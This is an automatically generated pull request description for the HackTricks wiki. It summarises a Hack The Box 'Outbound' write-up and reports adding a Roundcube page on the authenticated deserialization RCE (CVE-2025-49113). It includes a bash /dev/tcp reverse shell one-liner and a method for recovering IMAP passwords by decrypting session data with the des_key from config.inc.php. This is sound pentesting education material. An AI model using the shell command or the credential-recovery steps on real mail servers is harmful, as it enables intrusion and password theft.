Outbound

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: https://0xdf.gitlab.io/2025/11/15/htb-outbound.html
• Blog Title: Outbound
• Suggested Section: 80,443 - Pentesting Web > Roundcube

🎯 Content Summary

Target: HTB “Outbound” (Linux host + Dockerized Roundcube). Recon with nmap shows 22/SSH and 80/HTTP, nginx redirects to http://mail.outbound.htb running Roundcube.
Key service fingerprints: OpenSSH 9.6p1 Ubuntu 3ubuntu13.12, nginx 1.24.0 (Ubuntu), TTL ~63 (Linux one hop), likely Ubuntu 24.04 LTS. Subdomain fuzzing (ffuf) found nothing extra. Hosts entry used:

10.10.11.77 mail.outbound.htb

...

🔧 Technical Details

Roundcube authenticated deserialization RCE (CVE-2025-49113): After login, abuse the _from parameter in program/actions/settings/upload.php by uploading a crafted image whose name and request data corrupt the PHP session and inject a serialized gadget. When Roundcube processes preferences/destructors, the gadget’s __destruct() executes an arbitrary command. Exploit reliability can be verified with sleep N; deliver shell via bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'. Use a PHP PoC to generate the serialized payload.

Server-side decryption of IMAP creds from Roundcube sessions: Roundcube stores current-user IMAP passwords in session.vars, encrypted as Base64(IV || 3DES-CBC(plaintext)) using the 24-byte $config['des_key']. Read DSN and des_key from config.inc.php, then query session...

🤖 Agent Actions

I reviewed the repository and relevant sections in 80,443 - Pentesting Web, checked similar technology pages (WordPress, Zabbix, Joomla, Nginx, ISPConfig), and confirmed Roundcube was not yet covered.

Based on the blog and additional research (NVD and Roundcube vendor advisory), I added a new Roundcube page under Pentesting Web and linked it from the main Pentesting Web index.

What I implemented:

• Created new page with concise, high-signal content for Roundcube security:

  • Location: src/network-services-pentesting/pentesting-web/roundcube.md
  • Content includes:
    • Overview and fingerprinting details
    • Authenticated RCE in Roundcube (CVE-2025-49113): affected versions, vulnerability summary, exploitation via public PoC, blind timing check, reverse shell example, and key notes
    • Post-exploitation technique: recovering IMAP passwords from Roundcube sessions by reading config.inc.php for des_key and DB DSN, querying session table, decrypting with bin/decrypt.sh, and manual 3DES-CBC details (Base64, IV, PKCS#7)
    • References (vendor advisory, NVD, research, PoC, and the blog URL)
  • File adheres to HackTricks style: banner includes, concise but technical code blocks, no angle brackets that could be parsed as HTML.

• Linked Roundcube in the Pentesting Web index:

  • Modified file: src/network-services-pentesting/pentesting-web/README.md
  • Added bullet Roundcube under Web tech tricks so it is discoverable from the web methodology page.

Files changed:

• Created: src/network-services-pentesting/pentesting-web/roundcube.md
• Modified: src/network-services-pentesting/pentesting-web/README.md

Why this is the right place and content:

• Roundcube is a webmail application; the proper section is 80,443 - Pentesting Web > specific technology pages.
• The blog’s core techniques map directly to Roundcube:
  • Authenticated deserialization RCE (CVE-2025-49113) with PoC usage
  • Post-exploitation IMAP password recovery and pivot from Roundcube’s DB sessions using des_key
• Host privilege escalation via “below” under sudo is outside the scope of this page; I focused on the Roundcube web exploitation and credential recovery mechanics.

References embedded in the new page:

• Roundcube security update for 1.6.11/1.5.10
• NVD entry for CVE-2025-49113
• FearsOff research
• Public PoC repository
• Roundcube decrypt helper script
• The provided blog: https://0xdf.gitlab.io/2025/11/15/htb-outbound.html

No other related HackTricks pages were suitable to update instead of creating the new Roundcube page, and there was no existing Roundcube content.

---

This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.

📚 Repository Maintenance

• MD files processed: 910
• MD files fixed: 1

All .md files have been checked for proper formatting (headers, includes, etc.).

[carlospolop]

🔗 Additional Context

Original Blog Post: https://0xdf.gitlab.io/2025/11/15/htb-outbound.html

Content Categories: Based on the analysis, this content was categorized under "80,443 - Pentesting Web > Roundcube".

Repository Maintenance:

• MD Files Formatting: 910 files processed (1 files fixed)

Review Notes:

• This content was automatically processed and may require human review for accuracy
• Check that the placement within the repository structure is appropriate
• Verify that all technical details are correct and up-to-date
• All .md files have been checked for proper formatting (headers, includes, etc.)

Bot Version: HackTricks News Bot v1.0